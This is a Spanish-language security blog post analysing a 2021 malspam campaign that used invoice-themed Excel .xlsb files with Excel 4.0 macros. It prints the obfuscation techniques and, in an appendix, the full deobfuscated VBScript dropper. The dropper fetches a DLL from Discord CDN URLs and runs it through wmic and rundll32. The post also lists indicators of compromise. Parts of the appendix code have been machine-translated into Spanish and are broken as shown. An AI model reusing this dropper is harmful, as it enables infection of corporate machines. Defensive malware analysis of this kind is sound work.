Hemos detectado una campaña que distribuye malware a través de hojas de cálculo Excel; el foco del fraude son las empresas - ISH Technology

Detectamos una campaña que distribuye malware a través de hojas de cálculo Excel; el objetivo del fraude son las empresas

Por Alexandre Siviero

La campaña que distribuye programas maliciosos a través de hojas de cálculo Excel está en curso. La distribución se realiza a través de correos electrónicos en inglés que aluden a facturas y pagos pendientes. Algunos de los problemas observados:

Re: Acct No.633980 Payment
Re: Factura nº 7492363-revisión
Re: Factura #5667-revisión
Re: Due.Inv.#65134658

Al igual que los asuntos, los remitentes son variados, pero observan un patrón: la presencia del dominio apexlegendspro.com (Apex Legends es un juego de ordenador multijugador). En el archivo adjunto, los mensajes traen hojas de cálculo Excel con nombres que siguen el formato Factura-[NÚMERO]_[FECHA].xlsb. Un ejemplo que observamos fue Factura-7923_20211101.xlsb.

Seguimos con una inspección estática del contenido para entender cómo funciona.

Análisis malicioso de hojas de cálculo (maldoc)

Como puntos interesantes inmediatos, tenemos la ausencia de un proyecto VBA (macros en VBA); y la presencia de dos imágenes.

Las imágenes extraídas del documento son éstas:

El uso de imágenes borrosas es una táctica común de ingeniería social para convencer a un usuario de que habilite el contenido de un documento malicioso. El rectángulo rojo promete mostrar la imagen desenfocada, probablemente un botón interactivo.

La ausencia de macros en VBA sugiere la existencia de macros de tipo XLM (macros Excel 4.0). Puede confirmar esta hipótesis inspeccionando el contenido de docProps/app.xml:

Al inspeccionar dichas macros, se observa una acción de escritura carácter por carácter en el archivo C:\ProgramDataexcel.rtf.

Cómo funciona la hoja de cálculo maliciosa

Señalamos cómo las macros de una versión heredada de Excel crean un archivo rtf en el directorio C:\ProgramData. Realizamos un análisis dinámico para comprender qué interacción del usuario desencadena este comportamiento.

Abrir la vista del documento

Como teorizamos en el análisis estático, el rectángulo rojo es un botón interactivo. Al hacer clic en él, aparece una ventana emergente. Al hacer clic en Ok, la macro se dispara, crea el archivo rtf y lo ejecuta a través del binario legítimo mshta.exe, en una técnica conocida como Ejecución Binaria Proxy Firmada.

Ventana emergente que activa la macro

Análisis excel.rtf

El documento creado en C:\ProgramData contiene código HTML acompañado de un script:

<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION ID=”CS”
APPLICATIONNAME="Prueba"
WINDOWSTATE="minimizar"
MAXIMIZEBUTTON="no"
MINIMIZEBUTTON="no"
CAPTION="no"
SHOWINTASKBAR="no">
<script type=”text/vbscript” LANGUAGE=”VBScript” >

En resumen, la parte HTML sólo sirve para guiar una aparente ejecución sin ventanas del código en VBScript. Dada la ofuscación empleada en el script, abandonamos el análisis estático en favor de la depuración mediante Visual Studio. En este enlace se detalla cómo configurar dicho programa para depurar este tipo de script.

VBScript - depuración y depuración

VBScript ofuscado

Las técnicas de ofuscación empleadas por el autor son comunes para el código VBScript. Consisten en concatenar varias partes más pequeñas de un término para formar las cadenas deseadas -como se ve en "ht" y "tp", que forman "http "- y en utilizar la función Chr() en lugar de caracteres. La depuración nos permite inspeccionar el contenido de las variables sin tener que desenrollar primero el código.

Arriba se destaca una URL de una CDN de Discord (una aplicación de mensajería y streaming cuya red de distribución de contenidos es utilizada habitualmente por actores maliciosos para la distribución de malware), contenida en la variable joPaSNk. Se menciona en la siguiente sección de código:

Para cada joPaSNk en la matriz

De esto se deduce que el script tiene una serie de URLs para la distribución de la carga útil, dispuestas en una matriz y cargadas en joPaSNk como parte de un bucle. Otra información útil se extrae de la columna Type de las variables:

YjZKOWNh es una variable de tipo FileSystem3
fSGNJRgUYURjpWX es una variable de tipo ServerXMLHTTPRequest2

Realizamos todo el análisis a través del depurador. Sin embargo, para facilitar al lector la comprensión del funcionamiento del script, realizamos su depuración manual. A partir de aquí, centraremos todas las explicaciones en la versión depurada, disponible en su totalidad en el apéndice de este informe.

Cómo funciona VBScript

El primer paso del código consiste en tomar los valores de las variables %LOGONSERVER% y %USERDOMAIN%, formatearlos para que sólo contengan texto y compararlos:

LOGONSERVER = Replace(WshShell.expandenvironmentstrings("%LOGONSERVER%"),"{","")
USERDOMAIN = WshShell.expandenvironmentstrings("%USERDOMAIN%")
If LCase(LOGONSERVER) <> LCase(USERDOMAIN) Then

Si las dos variables son idénticas, el script finaliza las actividades sin realizar ninguna acción. Un escenario en el que las variables son diferentes es en la autenticación de dominio; entendemos esta comparación como un método para determinar si el activo objetivo forma parte de una red corporativa. Si es así, la ejecución procede al bucle con las URL de distribución de la carga útil.

A continuación, comprueba la existencia de la carga útil en el sistema:

Set FILE = CreateObject("Scripting.FileSystemObject")
If Not FILE.FileExists("C:\ProgramDataehiActivScp.mp4") Then

Si no es así, el script envía una petición GET para la URL actual y, a continuación, comprueba el código de respuesta y la longitud del contenido de la página:

If ServerXML.Status = 199+1 And Len(ServerXML.ResponseBody)>500+500 Then Observar el contenido de la variable durante la depuración ayuda a comprender mejor lo que se está comprobando en el código anterior.

Status es el código de estado HTTP; para 199+1, el script busca el código 200 (OK). A continuación, comprueba si el campo ResponseBody supera los mil bytes. En el momento de nuestro análisis, todas las URL contenidas en los scripts generados por las hojas de cálculo maliciosas ya se habían desconectado. Como solución provisional, alteramos la comprobación de estado y la longitud de la respuesta para permitir que continuara la ejecución. A continuación, el contenido se guarda en un archivo de extensión MP4:

.write ServerXML.responseBody
.savetofile "C:\ProgramDataehiActivScp.mp4", 2

Por último, se utiliza WMIC para ejecutar la carga útil que se ha guardado como MP4:

.Exec("wmic process call create 'rundll32.exe C:\ProgramDataehiActivScp.mp4 KdSendPacket'")

El uso de rundll32.exe demuestra que, a pesar de la extensión de archivo multimedia, la carga útil consiste en una DLL. Es interesante observar la función exportada que se suministra como parámetro, KdSendPacket. Se trata de una de las funciones de una DLL utilizada para la depuración de Windows, KDCOM.dll (más detalles en este enlace). Es posible que se eligiera este nombre para la exportación como forma de disimular la naturaleza maliciosa de la carga útil. Dicho esto, como no fue posible obtener la carga útil final, no es posible estar seguro de esta hipótesis.

También señalamos que no hay pruebas de que se haya empleado esteganografía (ocultar archivos o código dentro de otros archivos legítimos) para este script: a pesar de la extensión MP4, la carga útil descargada es sólo una DLL, no un vídeo con contenido malicioso oculto.

Campañas similares

Tras analizar esta campaña, nos pusimos a buscar incidentes similares. Esto nos llevó a una campaña en Corea del Sur detectada por analistas de ASEC (parte del AhnLab de Corea del Sur). Los detalles del análisis realizado por ellos están disponibles en este blog. A pesar de las diferencias en la longitud de la carga útil, el directorio implicado, el orden de ejecución de los procesos en la cadena de infección y el contenido del VBScript son muy similares a los de sus compañeros detallados en este informe. Así, es posible que la campaña aquí analizada sea una evolución global de la observada por ASEC en Corea del Sur.

¿Conclusión?

Incluso sin disponer de la carga útil final, estamos seguros de clasificar esta campaña como malspam, o mensajería masiva para la difusión de malware. Este veredicto se basa en las tácticas empleadas a lo largo de la cadena de infección que hemos detallado. Éstas incluyen la ingeniería social utilizada en los asuntos de los correos electrónicos y en el contenido de las hojas de cálculo para engañar al usuario y conseguir que habilite la ejecución de macros ocultas, y el uso de binarios firmados de Windows para disfrazar la ejecución de scripts maliciosos y la creación de nuevos procesos como actividad legítima.

Además, el alto nivel de ofuscación de dichos scripts, para dificultar la comprensión de su funcionamiento, y la focalización en entornos de red corporativos, como demuestra la comparación de las variables %LOGONSERVER% y %USERDOMAIN%. Esta práctica también puede entenderse como evasión de sandbox, ya que la mayoría de entornos virtualizados no cumplen los requisitos para la ejecución completa del script.

Por último, el intento de ocultar la verdadera naturaleza del contenido descargado de la CDN de Discord asignando a un DLL la extensión MP4.

Indicadores de compromiso

A pesar de las transformaciones ocasionales de VBScript según la hoja de cálculo maliciosa que lo generó (como URLs alcanzadas, nombres de variables y archivos), algunas constantes permanecen. Estas son:

Ejecución del script a través de mshta.exe, desde una instancia de Excel:

EXCEL.EXE

  • mshta C:\ProgramaDataexcel.rtf

Recogimos las siguientes URL de los VBScripts generados por las hojas de cálculo:

"hxxps://cdn.discordapp.com/attachments/904686926488039467/904715860067880971/YVJeKTz.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904712905503694908/bgWpYuud.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904717176475369492/GtSXFpZWO.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904718207800193024/TLoFily.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904711819027968020/DAdvElBUI.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904713407461228606/yNhdJElO.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904710761862012928/hyAzfogFWvV.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904711841089982484/qQuMFUiNS.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904715027980890122/CtBsHSRdVZFrs.png"

Este listado no es exhaustivo, pero un directorio de este CDN es una constante en la campaña y puede emplearse como COI:

hxxps://cdn.discordapp.com/attachments/904686926488039467

Aunque el nombre asignado a la carga útil cambia de un script a otro, su directorio y la exportación a la que se llama son una constante. Por lo tanto, es interesante comprobar cualquier instancia de rundll32.exe creada por mshta.exe y que implique archivos en C:\\ProgramData\

mshta C:\ProgramaDataexcel.rtf

rundll32.exe C:\\ProgramData[payload].mp4 KdSendPacket

Los siguientes indicadores están directamente relacionados con los correos electrónicos que recogimos en esta campaña. Dado el grado de variación de las muestras, entendemos que son menos sólidos que las relaciones entre procesos, directorios y exportaciones señaladas anteriormente.

Anexos:

Invoice-947266_20211101.xlsb 850dddc82095f90de967252a2812a19e1d5762c6ff3cd5d2a5a270ff49a70d5d4

Invoice-75514_20211101.xlsb 202b48f6cc80358cd1df38184dab0e39f2c77279ca5420ce3156153e7256f7ef

Invoice-0015_20211101.xlsb 63d6a0e3640ae5fe70237650206e409503cd9d27be96b1c4bb61aaaaddb51962

Invoice-903721_20211101.xlsb 2a379d2d94b2fb5ae5f372a525edcfebc9dbf3b3e11442cf65d17b31ddd99b080

Invoice-7105_20211101.xlsb 38db1b91257b0aa74a68e8629410a346e44c7db3304aa1a1f1c2414c9a77e0dc

Invoice-45456_20211101.xlsb b62144627edfbd279310b43eb82f997ff20cfe1362b356c4b00f2fe48b091dda

Invoice-7105_20211101.xlsb 38db1b91257b0aa74a68e8629410a346e44c7db3304aa1a1f1c2414c9a77e0dc

Invoice-7923_20211101.xlsb ca6112ee5eefa7a2ef1552e903c7f092510f2df012a4ab277b20200ee0b09e7c

Invoice-062505962_20211101.xlsb 8deea67ab06de26900004f4d3eca6b079e7991a02b2c466db9f6fdbae347d466

Invoice-3726645171_20211101.xlsb dd8695056a835457b9c0c208fb35b8ecc43344aac5b0254ffe183179e2f9e0c2

Invoice-04910947_20211101.xlsb 0ef5a64b9a99d87caa1920b68061cfb675bf0ab265cf2baa27a2f2b7a6dc6a72

Remitentes:

info@northamerica.apexlegendspro.com

info@northamerica.apexlegendspro.com

info@northamerica.apexlegendspro.com

info@northamerica.apexlegendspro.com

service@northamerica.rushhourflight.com

service@southamerica.apexlegendspro.com

info@northamerica.apexlegendspro.com

service@usa.apexlegendspro.com

service@southamerica.apexlegendspro.com

info@northamerica.apexlegendspro.com

Problemas:

Re: Aprobar Inv #61436

Re: Factura #5667-revisión

Re: #164270 Factura

Re: Due.Inv.#65134658

Re: #07690 Factura

Re: Due.Inv.#0514630

Re: Acct No.4031687 Payment

Re: Factura nº 7492363-revisión

Re: Due.Inv.#27586

Re: PO #26858938 Con vencimiento el 25-10-2021

ANEXO

Contenido HTML de un excel.rtf:

<!DOCTYPE html>

<html>

<head>

<HTA:APPLICATION ID=”CS”

APPLICATIONNAME="Prueba"

WINDOWSTATE="minimizar"

MAXIMIZEBUTTON="no"

MINIMIZEBUTTON="no"

CAPTION="no"

SHOWINTASKBAR="no">

<script type=”text/vbscript” LANGUAGE=”VBScript” >

[VBScript]

</script>

</head>

<body>

</body>

</html>

VBScript desofuscar:

Set WshShell = CreateObject("Wscript.Shell")

LOGONSERVER = Replace(WshShell.expandenvironmentstrings("%LOGONSERVER%"),"{","")

USERDOMAIN = WshShell.expandenvironmentstrings("%USERDOMAIN%")

If LCase(LOGONSERVER) <> LCase(USERDOMAIN) Then

For Each URL in Array(“https://cdn.discordapp.com/attachments/904686926488039467/904715860067880971/YVJeKTz.png” , “https://cdn.discordapp.com/attachments/904686926488039467/904712905503694908/bgWpYuud.png” , “https://cdn.discordapp.com/attachments/904686926488039467/904717176475369492/GtSXFpZWO.png”)    

    Set FILE = CreateObject("Scripting.FileSystemObject")

    If Not FILE.FileExists("C:\ProgramDataehiActivScp.mp4") Then

    Set ServerXML = createobject("MSXML2.ServerXMLHTTP.6.0")    

    Set AdoStream = createobject("Adodb.Stream")

    ServerXML.Open "GET", URL, False

    ServidorXML.Enviar

    If ServerXML.Status = 199+1 And Len(ServerXML.ResponseBody)>500+500 Then

         con AdoStream

            .tipo = 1

            .abrir

            .write ServerXML.responseBody

            .savetofile "C:\ProgramDataehiActivScp.mp4", 2

            .cerrar 

        terminar con

        Con CreateObject("Wscript.Shell")

            .Exec("wmic process call create 'rundll32.exe C:\ProgramDataehiActivScp.mp4 KdSendPacket'")

        Terminar con

        Salida para

    Fin If

    Fin If

Siguiente

Fin If

Dejar un comentario

Su dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *.